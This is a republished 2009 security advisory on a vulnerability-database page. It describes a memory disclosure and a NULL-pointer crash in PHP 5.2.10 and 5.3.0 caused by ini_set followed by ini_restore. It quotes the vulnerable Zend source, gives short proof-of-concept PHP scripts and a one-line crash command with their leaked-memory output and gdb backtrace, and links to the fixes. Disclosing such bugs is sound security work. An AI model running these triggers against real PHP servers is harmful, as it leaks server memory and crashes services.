PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure

2009.08.08
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: Partial

[ PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ] Author: Maksymilian Arciemowicz Date: - - Dis.: 10.07.2009 - - Pub.: 06.08.2009 Risk: High Affected Software: - - PHP 5.3.0 - - PHP 5.2.10 - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. http://lu2.php.net/manual/en/function.ini-restore.php ini_restore ? Restores the value of a configuration option ini_restore ( string $varname ) - --- 1. PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure --- The main problem exist in restoring php config environments. To demonstrate the problem, we need to declare variables via ini_set() function. When we try use ini_restore(), variables in class PG() will indicate any part of memory. - ---zend_ini.c--- static int zend_restore_ini_entry_cb(zend_ini_entry *ini_entry, int stage TSRMLS_DC) /* {{{ */ { if (ini_entry->modified) { if (ini_entry->on_modify) { zend_try { /* even if on_modify bails out, we have to continue on with restoring, since there can be allocated variables that would be freed on MM shutdown and would lead to memory corruption later ini entry is modified again */ ini_entry->on_modify(ini_entry, ini_entry->orig_value, ini_entry->orig_value_length, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage TSRMLS_CC); } zend_end_try(); } if (ini_entry->value != ini_entry->orig_value) { efree(ini_entry->value); } ini_entry->value = ini_entry->orig_value; ini_entry->value_length = ini_entry->orig_value_length; ini_entry->modified = 0; ini_entry->orig_value = NULL; ini_entry->orig_value_length = 0; if (ini_entry->modifiable >= (1 << 3)) { ini_entry->modifiable >>= 3; } } return 0; } - ---zend_ini.c--- Flag modified will be reset, and we can not considered modified variable. We don't check value of ini_entry->on_modify() and PG() will be now out of memory range. To demonstrate this issue - ---example0 (5.2.10/5.3.0)--- 127# uname -a && php -v OpenBSD 127.cxib 4.6 GENERIC#0 i386 PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Jul 5 2009 21:43:12) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH 127# cat /var/www/www/sess.php <?php ini_set("session.save_path", "0123456789ABCDEF"); ini_restore("session.save_path"); session_start(); ?> 127# php /var/www/www/sess.php AAA PHP Warning: session_start(): open($|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory (2) in /var/www/www/sess.php on line 5 PHP Warning: Unknown: open($|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory (2) in Unknown on line 0 PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct ($|ma: no-cache) in Unknown on line 0 127# php /var/www/www/sess.php PHP Warning: session_start(): open(^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory (2) in /var/www/www/sess.php on line 5 PHP Warning: Unknown: open(^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory (2) in Unknown on line 0 PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (^j|ma: no-cache) in Unknown on line 0 - ---example0 (5.2.10/5.3.0)--- The main problem is started in ini_restore("session.save_path"). To show this issue, we need use some function with PG() inside (like: session_start()). - ---example1 (5.3.0)--- 127# uname -mrs && php -v NetBSD 5.0 i386 PHP 5.3.0 (cli) (built: Jul 15 2009 23:47:25) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyrght (c) 1998-2009 Zend Technologies 127# cat /www/file.php <?php ini_set("open_basedir", "A"); ini_restore("open_basedir"); ini_get("open_basedir"); include("B"); ?> 127# php /www/file.php PHP Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s): (4?e&#187;X?p&#187;) in /www/file.php on line 7 Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s): (4?e&#187;X?p&#187;) in /www/file.php on line 7 PHP Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7 Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7 PHP Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7 Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7 127# curl http://localhost/file.php <br /> <b>Warning</b>: include() [<a href='function.include'>function.include</a>]: open_basedir restriction in effect. File(B) is not within the allowed path(s): (?e&#187;Hup&#187;) in <b>/www/file.php</b> on line <b>7</b><br /> <br /> <b>Warning</b>: include(B) [<a href='function.include'>function.include</a>]: failed to open stream: Operation not permitted in <b>/www/file.php</b> on line <b>7</b><br /> <br /> <b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in <b>/www/file.php</b> on line <b>7</b><br /> - ---example1 (5.3.0)--- Variable PG(open_basedir) is now out of range. So any function (like: include()) with php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir)); will print memory examples: - --- Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (&#169;f&#187;ESSID) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (,?f&#187;aaaaaa) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (?&#172;f&#187;ESSID) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (?e&#187;ef_root) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (4e&#187;r.ini) in /www/ssij.php on line 8 - --- Variables in class PG, may take any value. So code such as if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) can be manipulated. But not only zend_ini.c have issue. When we try use ini_set() and ini_restore() for error_log, php will crash. Function OnUpdateErrorLog, dosen't check that new_value is empty (null point). It should provide to crash. - ---main.c--- static PHP_INI_MH(OnUpdateErrorLog) { ... /* Only do the safemode/open_basedir check at runtime */ if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) && strcmp(new_value, "syslog")) { ... - ---main.c--- strcmp(3) will check new_value. So new_value can not be NULL. here: STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals) default error_log is NULL ...("error_log", NULL,... so if we put some string, and remove it, php should crash 127# php -r 'ini_set("error_log","A");ini_restore("error_log");' Segmentation fault (core dumped) 127# gdb -q php (gdb) r -r 'ini_set("error_log","A");ini_restore("error_log");' Starting program: /usr/local/bin/php -r 'ini_set("error_log","A");ini_restore("error_log");' Program received signal SIGSEGV, Segmentation fault. 0x288ee410 in strcmp () from /lib/libc.so.7 bt: #0 0x288ee410 in strcmp () from /lib/libc.so.7 #1 0x081c7b85 in OnUpdateErrorLog (entry=0x28a65a80, new_value=0x0, new_value_length=3, mh_arg1=0x38, mh_arg2=0x83d5420, mh_arg3=0x0, stage=16) at /usr/ports/lang/php5/work/php-5.3.0/main/main.c:354 #2 0x0824cb85 in zend_restore_ini_entry_cb (ini_entry=0x28a65a80, stage=16) at /usr/ports/lang/php5/work/php-5.3.0/Zend/zend_ini.c:55 #3 0x0824d3f5 in zend_restore_ini_entry (name=0x28a1e36c "error_log", name_length=10, stage=16) ... Functions like OnUpdateErrorLog, should check, that new_value is not a NULL pointer. - --- 2. Fix --- (5.3.0): http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c (5.2.10): http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c - --- 3. Greets --- stas - --- 4. Contact --- Author: Maksymilian Arciemowicz

References:

http://lu2.php.net/manual/en/function.ini-restore.php
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top